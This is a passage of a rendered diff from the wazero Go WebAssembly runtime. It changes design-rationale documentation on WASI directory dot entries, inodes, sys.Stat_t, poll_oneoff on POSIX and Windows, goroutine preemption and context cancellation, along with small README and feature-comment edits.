In the same month, wazero requested to revert this change primarily because
|
||||
Go does not return them from `os.ReadDir`, and materializing them is
|
||||
complicated due to tests also requiring inodes. Moreover, they are discarded by
|
||||
not just Go, but other common programming languages. This was rejected by the
|
||||
WASI lead for preview1, but considered for the completely different ABI named
|
||||
preview2.
|
||||
|
||||
In February 2023, the WASI chair declared that new rule requiring preview1 to
|
||||
return dot entries "was decided by the subgroup as a whole", citing meeting
|
||||
notes. According to these notes, the WASI lead stated incorrectly that POSIX
|
||||
conformance required returning dot entries, something it explicitly says are
|
||||
optional. In other words, he said filtering them out would make Preview1
|
||||
non-conforming, and asked if anyone objects to this. The co-chair was noted to
|
||||
say "Because there are existing P1 programs, we shouldn’t make changes like
|
||||
this." No other were recorded to say anything.
|
||||
|
||||
In summary, preview1 was changed retrospectively to require dot entries and
|
||||
preview2 was changed to require their absence. This rule was reverse engineered
|
||||
from wasmtime tests, and affirmed on two false premises:
|
||||
|
||||
* POSIX compliance requires dot entries
|
||||
* POSIX literally says these are optional
|
||||
* WASI cannot make changes because there are existing P1 programs.
|
||||
* Changes to Preview 1 happened before and after this topic.
|
||||
|
||||
As of June 2023, wasi-testsuite still only runs on Linux, so compliance of this
|
||||
rule on Windows is left to runtimes to decide to validate. The preview2 adapter
|
||||
uses fake cookies zero and one to refer to dot dirents, uses a real inode for
|
||||
the dot(".") entry and zero inode for dot-dot("..").
|
||||
|
||||
See https://github.com/WebAssembly/wasi-filesystem/issues/3
|
||||
See https://github.com/WebAssembly/WASI/tree/snapshot-01
|
||||
See https://github.com/WebAssembly/WASI/issues/9
|
||||
See https://github.com/WebAssembly/WASI/pull/458
|
||||
See https://github.com/WebAssembly/wasi-testsuite/pull/32
|
||||
See https://github.com/WebAssembly/wasi-libc/pull/345
|
||||
See https://github.com/WebAssembly/wasi-testsuite/issues/52
|
||||
See https://github.com/WebAssembly/WASI/pull/516
|
||||
See https://github.com/WebAssembly/meetings/blob/main/wasi/2023/WASI-02-09.md#should-preview1-fd_readdir-filter-out--and-
|
||||
See https://github.com/bytecodealliance/preview2-prototyping/blob/e4c04bcfbd11c42c27c28984948d501a3e168121/crates/wasi-preview1-component-adapter/src/lib.rs#L1026-L1041
|
||||
|
||||
### Why are dot (".") and dot-dot ("..") entries problematic?
|
||||
|
||||
When reading a directory, dot (".") and dot-dot ("..") entries are problematic.
|
||||
For example, Go does not return them from `os.ReadDir`, and materializing them
|
||||
is complicated (at least dot-dot is).
|
||||
|
||||
A directory entry has stat information in it. The stat information includes
|
||||
inode which is used for comparing file equivalence. In the simple case of dot,
|
||||
@@ -758,7 +1051,19 @@ well, such as the decision to not return ".." from a root path. In any case,
|
||||
this should start to explain that faking entries when underlying stdlib doesn't
|
||||
return them is tricky and requires quite a lot of state.
|
||||
|
||||
Even if we did that, it would cause expense to all users of wazero, so we'd
|
||||
Another issue is around the `Dirent.Off` value of a directory entry, sometimes
|
||||
called a "cookie" in Linux man pagers. When the host operating system or
|
||||
library function does not return dot entries, to support functions such as
|
||||
`seekdir`, you still need a value for `Dirent.Off`. Naively, you can synthesize
|
||||
these by choosing sequential offsets zero and one. However, POSIX strictly says
|
||||
offsets should be treated opaquely. The backing filesystem could use these to
|
||||
represent real entries. For example, a directory with one entry could use zero
|
||||
as the `Dirent.Off` value. If you also used zero for the "." dirent, there
|
||||
would be a clash. This means if you synthesize `Dirent.Off` for any entry, you
|
||||
need to synthesize this value for all entries. In practice, the simplest way is
|
||||
using an incrementing number, such as done in the WASI preview2 adapter.
|
||||
|
||||
Working around these issues causes expense to all users of wazero, so we'd
|
||||
then look to see if that would be justified or not. However, the most common
|
||||
compilers involved in end user questions, as of early 2023 are TinyGo, Rust and
|
||||
Zig. All of these compile code which ignores dot and dot-dot entries. In other
|
||||
@@ -773,12 +1078,100 @@ which summarizes to "these are optional"
|
||||
|
||||
> The readdir() function shall not return directory entries containing empty names. If entries for dot or dot-dot exist, one entry shall be returned for dot and one entry shall be returned for dot-dot; otherwise, they shall not be returned.
|
||||
|
||||
In summary, wazero not only doesn't return dot and dot-dot entries because Go
|
||||
doesn't and emulating them in spite of that would result in no difference
|
||||
except hire overhead to the majority of our users.
|
||||
Unfortunately, as described above, the WASI project decided in early 2023 to
|
||||
require dot entries in both the spec and the wasi-testsuite. For only this
|
||||
reason, wazero adds overhead to synthesize dot entries despite it being
|
||||
unnecessary for most users.
|
||||
|
||||
See https://pubs.opengroup.org/onlinepubs/9699919799/functions/readdir.html
|
||||
See https://github.com/golang/go/blob/go1.20/src/os/dir_unix.go#L108-L110
|
||||
See https://github.com/bytecodealliance/preview2-prototyping/blob/e4c04bcfbd11c42c27c28984948d501a3e168121/crates/wasi-preview1-component-adapter/src/lib.rs#L1026-L1041
|
||||
|
||||
### Why don't we pre-populate an inode for the dot-dot ("..") entry?
|
||||
|
||||
We only populate an inode for dot (".") because wasi-testsuite requires it, and
|
||||
we likely already have it (because we cache it). We could attempt to populate
|
||||
one for dot-dot (".."), but chose not to.
|
||||
|
||||
Firstly, wasi-testsuite does not require the inode of dot-dot, possibly because
|
||||
the wasip2 adapter doesn't populate it (but we don't really know why).
|
||||
|
||||
The only other reason to populate it would be to avoid wasi-libc's stat fanout
|
||||
when it is missing. However, wasi-libc explicitly doesn't fan-out to lstat on
|
||||
the ".." entry on a zero ino.
|
||||
|
||||
Fetching dot-dot's inode despite the above not only doesn't help wasi-libc, but
|
||||
it also hurts languages that don't use it, such as Go. These languages would
|
||||
pay a stat syscall penalty even if they don't need the inode. In fact, Go
|
||||
discards both dot entries!
|
||||
|
||||
In summary, there are no significant upsides in attempting to pre-fetch
|
||||
dot-dot's inode, and there are downsides to doing it anyway.
|
||||
|
||||
See
|
||||
* https://github.com/WebAssembly/wasi-libc/blob/bd950eb128bff337153de217b11270f948d04bb4/libc-bottom-half/cloudlibc/src/libc/dirent/readdir.c#L87-L94
|
||||
* https://github.com/WebAssembly/wasi-testsuite/blob/main/tests/rust/src/bin/fd_readdir.rs#L108
|
||||
* https://github.com/bytecodealliance/preview2-prototyping/blob/e4c04bcfbd11c42c27c28984948d501a3e168121/crates/wasi-preview1-component-adapter/src/lib.rs#L1037
|
||||
|
||||
### Why don't we require inodes to be non-zero?
|
||||
|
||||
We don't require a non-zero value for `Dirent.Ino` because doing so can prevent
|
||||
a real one from resolving later via `Stat_t.Ino`.
|
||||
|
||||
We define `Ino` like `d_ino` in POSIX which doesn't special-case zero. It can
|
||||
be zero for a few reasons:
|
||||
|
||||
* The file is not a regular file or directory.
|
||||
* The underlying filesystem does not support inodes. e.g. embed:fs
|
||||
* A directory doesn't include inodes, but a later stat can. e.g. Windows
|
||||
* The backend is based on wasi-filesystem (a.k.a wasip2), which has
|
||||
`directory_entry.inode` optional, and might remove it entirely.
|
||||
|
||||
There are other downsides to returning a zero inode in widely used compilers:
|
||||
|
||||
* File equivalence utilities, like `os.SameFile` will not work.
|
||||
* wasi-libc's `wasip1` mode will call `lstat` and attempt to retrieve a
|
||||
non-zero value (unless the entry is named "..").
|
||||
|
||||
A new compiler may accidentally skip a `Dirent` with a zero `Ino` if emulating
|
||||
a non-POSIX function and re-using `Dirent.Ino` for `d_fileno`.
|
||||
|
||||
* Linux `getdents` doesn't define `d_fileno` must be non-zero
|
||||
* BSD `getdirentries` is implementation specific. For example, OpenBSD will
|
||||
return dirents with a zero `d_fileno`, but Darwin will skip them.
|
||||
|
||||
The above shouldn't be a problem, even in the case of BSD, because `wasip1` is
|
||||
defined more in terms of `getdents` than `getdirentries`. The bottom half of
|
||||
either should treat `wasip1` (or any similar ABI such as wasix or wasip2) as a
|
||||
different operating system and either use different logic that doesn't skip, or
|
||||
synthesize a fake non-zero `d_fileno` when `d_ino` is zero.
|
||||
|
||||
However, this has been a problem. Go's `syscall.ParseDirent` utility is shared
|
||||
for all `GOOS=unix`. For simplicity, this abstracts `direntIno` with data from
|
||||
`d_fileno` or `d_ino`, and drops if either are zero, even if `d_fileno` is the
|
||||
only field with zero explicitly defined. This led to a change to special case
|
||||
`GOOS=wasip1` as otherwise virtual files would be unconditionally skipped.
|
||||
|
||||
In practice, this problem is rather unique due to so many compilers relying on
|
||||
wasi-libc, which tolerates a zero inode. For example, while issues were
|
||||
reported about the performance regression when wasi-libc began doing a fan-out
|
||||
on zero `Dirent.Ino`, no issues were reported about dirents being dropped as a
|
||||
result.
|
||||
|
||||
In summary, rather than complicating implementation and forcing non-zero inodes
|
||||
for a rare case, we permit zero. We instead document this topic thoroughly, so
|
||||
that emerging compilers can re-use the research and reference it on conflict.
|
||||
We also document that `Ino` should be non-zero, so that users implementing that
|
||||
field will attempt to get it.
|
||||
|
||||
See
|
||||
* https://github.com/WebAssembly/wasi-filesystem/pull/81
|
||||
* https://github.com/WebAssembly/wasi-libc/blob/bd950eb128bff337153de217b11270f948d04bb4/libc-bottom-half/cloudlibc/src/libc/dirent/readdir.c#L87-L94
|
||||
* https://linux.die.net/man/3/getdents
|
||||
* https://www.unix.com/man-page/osx/2/getdirentries/
|
||||
* https://man.openbsd.org/OpenBSD-5.4/getdirentries.2
|
||||
* https://github.com/golang/go/blob/go1.20/src/syscall/dirent.go#L60-L102
|
||||
* https://go-review.googlesource.com/c/go/+/507915
|
||||
|
||||
## sys.Walltime and Nanotime
|
||||
|
||||
@@ -907,6 +1300,68 @@ See https://github.com/WebAssembly/stack-switching/discussions/38
|
||||
See https://github.com/WebAssembly/wasi-threads#what-can-be-skipped
|
||||
See https://slinkydeveloper.com/Kubernetes-controllers-A-New-Hope/
|
||||
|
||||
## sys.Stat_t
|
||||
|
||||
We expose `stat` information as `sys.Stat_t`, like `syscall.Stat_t` except
|
||||
defined without build constraints. For example, you can use `sys.Stat_t` on
|
||||
`GOOS=windows` which doesn't define `syscall.Stat_t`.
|
||||
|
||||
The first use case of this is to return inodes from `fs.FileInfo` without
|
||||
relying on platform-specifics. For example, a user could return `*sys.Stat_t`
|
||||
from `info.Sys()` and define a non-zero inode for a virtual file, or map a
|
||||
real inode to a virtual one.
|
||||
|
||||
Notable choices per field are listed below, where `sys.Stat_t` is unlike
|
||||
`syscall.Stat_t` on `GOOS=linux`, or needs clarification. One common issue
|
||||
not repeated below is that numeric fields are 64-bit when at least one platform
|
||||
defines it that large. Also, zero values are equivalent to nil or absent.
|
||||
|
||||
* `Dev` and `Ino` (`Inode`) are both defined unsigned as they are defined
|
||||
opaque, and most `syscall.Stat_t` also defined them unsigned. There are
|
||||
separate sections in this document discussing the impact of zero in `Ino`.
|
||||
* `Mode` is defined as a `fs.FileMode` even though that is not defined in POSIX
|
||||
and will not map to all possible values. This is because the current use is
|
||||
WASI, which doesn't define any types or features not already supported. By
|
||||
using `fs.FileMode`, we can re-use routine experience in Go.
|
||||
* `NLink` is unsigned because it is defined that way in `syscall.Stat_t`: there
|
||||
can never be less than zero links to a file. We suggest defaulting to 1 in
|
||||
conversions when information is not knowable because at least that many links
|
||||
exist.
|
||||
* `Size` is signed because it is defined that way in `syscall.Stat_t`: while
|
||||
regular files and directories will always be non-negative, irregular files
|
||||
are possibly negative or not defined. Notably sparse files are known to
|
||||
return negative values.
|
||||
* `Atim`, `Mtim` and `Ctim` are signed because they are defined that way in
|
||||
`syscall.Stat_t`: Negative values are time before 1970. The resolution is
|
||||
nanosecond because that's the maximum resolution currently supported in Go.
|
||||
|
||||
### Why do we use `sys.EpochNanos` instead of `time.Time` or similar?
|
||||
|
||||
To simplify documentation, we defined a type alias `sys.EpochNanos` for int64.
|
||||
`time.Time` is a data structure, and we could have used this for
|
||||
`syscall.Stat_t` time values. The most important reason we do not is conversion
|
||||
penalty deriving time from common types.
|
||||
|
||||
The most common ABI used in `wasip2`. This, and compatible ABI such as `wasix`,
|
||||
encode timestamps in memory as a 64-bit number. If we used `time.Time`, we
|
||||
would have to convert an underlying type like `syscall.Timespec` to `time.Time`
|
||||
only to later have to call `.UnixNano()` to convert it back to a 64-bit number.
|
||||
|
||||
In the future, the component model module "wasi-filesystem" may represent stat
|
||||
timestamps with a type shared with "wasi-clocks", abstractly structured similar
|
||||
to `time.Time`. However, component model intentionally does not define an ABI.
|
||||
It is likely that the canonical ABI for timestamp will be in two parts, but it
|
||||
is not required for it to be intermediately represented this way. A utility
|
||||
like `syscall.NsecToTimespec` could split an int64 so that it could be written
|
||||
to memory as 96 bytes (int64, int32), without allocating a struct.
|
||||
|
||||
Finally, some may confuse epoch nanoseconds with 32-bit epoch seconds. While
|
||||
32-bit epoch seconds has "The year 2038" problem, epoch nanoseconds has
|
||||
"The Year 2262" problem, which is even less concerning for this library. If
|
||||
the Go programming language and wazero exist in the 2200's, we can make a major
|
||||
version increment to adjust the `sys.EpochNanos` approach. Meanwhile, we have
|
||||
faster code.
|
||||
|
||||
## poll_oneoff
|
||||
|
||||
`poll_oneoff` is a WASI API for waiting for I/O events on multiple handles.
|
||||
@@ -944,19 +1399,18 @@ as for regular file descriptors: data is assumed to be present and
|
||||
a success is written back to the result buffer.
|
||||
|
||||
However, if the reader is detected to read from `os.Stdin`,
|
||||
a special code path is followed, invoking `platform.Select()`.
|
||||
a special code path is followed, invoking `sysfs.poll()`.
|
||||
|
||||
`platform.Select()` is a wrapper for `select(2)` on POSIX systems,
|
||||
and it is mocked for a handful of cases also on Windows.
|
||||
`sysfs.poll()` is a wrapper for `poll(2)` on POSIX systems,
|
||||
and it is emulated on Windows.
|
||||
|
||||
### Select on POSIX
|
||||
### Poll on POSIX
|
||||
|
||||
On POSIX systems,`select(2)` allows to wait for incoming data on a file
|
||||
On POSIX systems, `poll(2)` allows to wait for incoming data on a file
|
||||
descriptor, and block until either data becomes available or the timeout
|
||||
expires. It is not surprising that `select(2)` and `poll(2)` have lot in common:
|
||||
the main difference is how the file descriptor parameters are passed.
|
||||
expires.
|
||||
|
||||
Usage of `platform.Select()` is only reserved for the standard input case, because
|
||||
Usage of `syfs.poll()` is currently only reserved for standard input, because
|
||||
|
||||
1. it is really only necessary to handle interactive input: otherwise,
|
||||
there is no way in Go to peek from Standard Input without actually
|
||||
@@ -965,11 +1419,11 @@ Usage of `platform.Select()` is only reserved for the standard input case, becau
|
||||
2. if `Stdin` is connected to a pipe, it is ok in most cases to return
|
||||
with success immediately;
|
||||
|
||||
3. `platform.Select()` is currently a blocking call, irrespective of goroutines,
|
||||
3. `syfs.poll()` is currently a blocking call, irrespective of goroutines,
|
||||
because the underlying syscall is; thus, it is better to limit its usage.
|
||||
|
||||
So, if the subscription is for `os.Stdin` and the handle is detected
|
||||
to correspond to an interactive session, then `platform.Select()` will be
|
||||
to correspond to an interactive session, then `sysfs.poll()` will be
|
||||
invoked with a the `Stdin` handle *and* the timeout.
|
||||
|
||||
This also means that in this specific case, the timeout is uninterruptible,
|
||||
@@ -977,25 +1431,46 @@ unless data becomes available on `Stdin` itself.
|
||||
|
||||
### Select on Windows
|
||||
|
||||
On Windows the `platform.Select()` is much more straightforward,
|
||||
and it really just replicates the behavior found in the general cases
|
||||
for `FdRead` subscriptions: in other words, the subscription to `Stdin`
|
||||
is immediately acknowledged.
|
||||
On Windows `sysfs.poll()` cannot be delegated to a single
|
||||
syscall, because there is no single syscall to handle sockets,
|
||||
pipes and regular files.
|
||||
|
||||
The implementation also support a timeout, but in this case
|
||||
it relies on `time.Sleep()`, which notably, as compared to the POSIX
|
||||
case, interruptible and compatible with goroutines.
|
||||
Instead, we emulate its behavior for the cases that are currently
|
||||
of interest.
|
||||
|
||||
However, because `Stdin` subscriptions are always acknowledged
|
||||
without wait and because this code path is always followed only
|
||||
when at least one `Stdin` subscription is present, then the
|
||||
timeout is effectively always handled externally.
|
||||
- For regular files, we _always_ report them as ready, as
|
||||
[most operating systems do anyway][async-io-windows].
|
||||
|
||||
In any case, the behavior of `platform.Select` on Windows
|
||||
is sensibly different from the behavior on POSIX platforms;
|
||||
we plan to refine and further align it in semantics in the future.
|
||||
- For pipes, we invoke [`PeekNamedPipe`][peeknamedpipe]
|
||||
for each file handle we detect is a pipe open for reading.
|
||||
We currently ignore pipes open for writing.
|
||||
|
||||
- Notably, we include also support for sockets using the [WinSock
|
||||
implementation of `poll`][wsapoll], but instead
|
||||
of relying on the timeout argument of the `WSAPoll` function,
|
||||
we set a 0-duration timeout so that it behaves like a peek.
|
||||
|
||||
This way, we can check for regular files all at once,
|
||||
at the beginning of the function, then we poll pipes and
|
||||
sockets periodically using a cancellable `time.Tick`,
|
||||
which plays nicely with the rest of the Go runtime.
|
||||
|
||||
### Impact of blocking
|
||||
|
||||
Because this is a blocking syscall, it will also block the carrier thread of
|
||||
the goroutine, preventing any means to support context cancellation directly.
|
||||
|
||||
There are ways to obviate this issue. We outline here one idea, that is however
|
||||
not currently implemented. A common approach to support context cancellation is
|
||||
to add a signal file descriptor to the set, e.g. the read-end of a pipe or an
|
||||
eventfd on Linux. When the context is canceled, we may unblock a Select call by
|
||||
writing to the fd, causing it to return immediately. This however requires to
|
||||
do a bit of housekeeping to hide the "special" FD from the end-user.
|
||||
|
||||
[poll_oneoff]: https://github.com/WebAssembly/wasi-poll#why-is-the-function-called-poll_oneoff
|
||||
[async-io-windows]: https://tinyclouds.org/iocp_links
|
||||
[peeknamedpipe]: https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-peeknamedpipe
|
||||
[wsapoll]: https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsapoll
|
||||
|
||||
## Signed encoding of integer global constant initializers
|
||||
|
||||
@@ -1061,7 +1536,38 @@ If a module reaches this limit, an error is returned at the compilation phase.
|
||||
|
||||
## Compiler engine implementation
|
||||
|
||||
See [compiler/RATIONALE.md](internal/engine/compiler/RATIONALE.md).
|
||||
### Why it's safe to execute runtime-generated machine codes against async Goroutine preemption
|
||||
|
||||
Goroutine preemption is the mechanism of the Go runtime to switch goroutines contexts on an OS thread.
|
||||
There are two types of preemption: cooperative preemption and async preemption. The former happens, for example,
|
||||
when making a function call, and it is not an issue for our runtime-generated functions as they do not make
|
||||
direct function calls to Go-implemented functions. On the other hand, the latter, async preemption, can be problematic
|
||||
since it tries to interrupt the execution of Goroutine at any point of function, and manipulates CPU register states.
|
||||
|
||||
Fortunately, our runtime-generated machine codes do not need to take the async preemption into account.
|
||||
All the assembly codes are entered via the trampoline implemented as Go Assembler Function (e.g. [arch_amd64.s](./arch_amd64.s)),
|
||||
and as of Go 1.20, these assembler functions are considered as _unsafe_ for async preemption:
|
||||
- https://github.com/golang/go/blob/go1.20rc1/src/runtime/preempt.go#L406-L407
|
||||
- https://github.com/golang/go/blob/9f0234214473dfb785a5ad84a8fc62a6a395cbc3/src/runtime/traceback.go#L227
|
||||
|
||||
From the Go runtime point of view, the execution of runtime-generated machine codes is considered as a part of
|
||||
that trampoline function. Therefore, runtime-generated machine code is also correctly considered unsafe for async preemption.
|
||||
|
||||
## Why context cancellation is handled in Go code rather than native code
|
||||
|
||||
Since [wazero v1.0.0-pre.9](https://github.com/tetratelabs/wazero/releases/tag/v1.0.0-pre.9), the runtime
|
||||
supports integration with Go contexts to interrupt execution after a timeout, or in response to explicit cancellation.
|
||||
This support is internally implemented as a special opcode `builtinFunctionCheckExitCode` that triggers the execution of
|
||||
a Go function (`ModuleInstance.FailIfClosed`) that atomically checks a sentinel value at strategic points in the code
|
||||
(e.g. [within loops][checkexitcode_loop]).
|
||||
|
||||
[It _is indeed_ possible to check the sentinel value directly, without leaving the native world][native_check], thus sparing some cycles;
|
||||
however, because native code never preempts (see section above), this may lead to a state where the other goroutines
|
||||
never get the chance to run, and thus never get the chance to set the sentinel value; effectively preventing
|
||||
cancellation from taking place.
|
||||
|
||||
[checkexitcode_loop]: https://github.com/tetratelabs/wazero/blob/86444c67a37dbf9e693ae5b365901f64968d9025/internal/wazeroir/compiler.go#L467-L476
|
||||
[native_check]: https://github.com/tetratelabs/wazero/issues/1409
|
||||
|
||||
## Golang patterns
|
||||
|
||||
|
||||
+1
-4
@@ -41,8 +41,6 @@ during `Runtime.CompileModule`. This means your WebAssembly functions execute
|
||||
natively at runtime. Compiler is faster than Interpreter, often by order of
|
||||
magnitude (10x) or more. This is done without host-specific dependencies.
|
||||
|
||||
If interested, check out the [RATIONALE.md][8] and help us optimize further!
|
||||
|
||||
### Conformance
|
||||
|
||||
Both runtimes pass WebAssembly Core [1.0][7] and [2.0][14] specification tests
|
||||
@@ -55,7 +53,7 @@ on supported platforms:
|
||||
|
||||
## Support Policy
|
||||
|
||||
The below support policy focuses on compatability concerns of those embedding
|
||||
The below support policy focuses on compatibility concerns of those embedding
|
||||
wazero into their Go applications.
|
||||
|
||||
### wazero
|
||||
@@ -123,7 +121,6 @@ wazero is a registered trademark of Tetrate.io, Inc. in the United States and/or
|
||||
[5]: https://github.com/WebAssembly/WASI
|
||||
[6]: https://pkg.go.dev/golang.org/x/sys/unix
|
||||
[7]: https://github.com/WebAssembly/spec/tree/wg-1.0/test/core
|
||||
[8]: internal/engine/compiler/RATIONALE.md
|
||||
[9]: https://github.com/tetratelabs/wazero/issues/506
|
||||
[10]: https://go.dev/doc/devel/release
|
||||
[11]: https://github.com/actions/virtual-environments
|
||||
|
||||
+2
@@ -143,6 +143,8 @@ const (
|
||||
// Note: The instruction list is too long to enumerate in godoc.
|
||||
// See https://github.com/WebAssembly/spec/blob/wg-2.0.draft1/proposals/simd/SIMD.md
|
||||
CoreFeatureSIMD
|
||||
|
||||
// Update experimental/features.go when adding elements here.
|
||||
)
|
||||
|
||||
// SetEnabled enables or disables the feature or group of features.
|
||||
|
||||
Loaded 100 of 3051 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user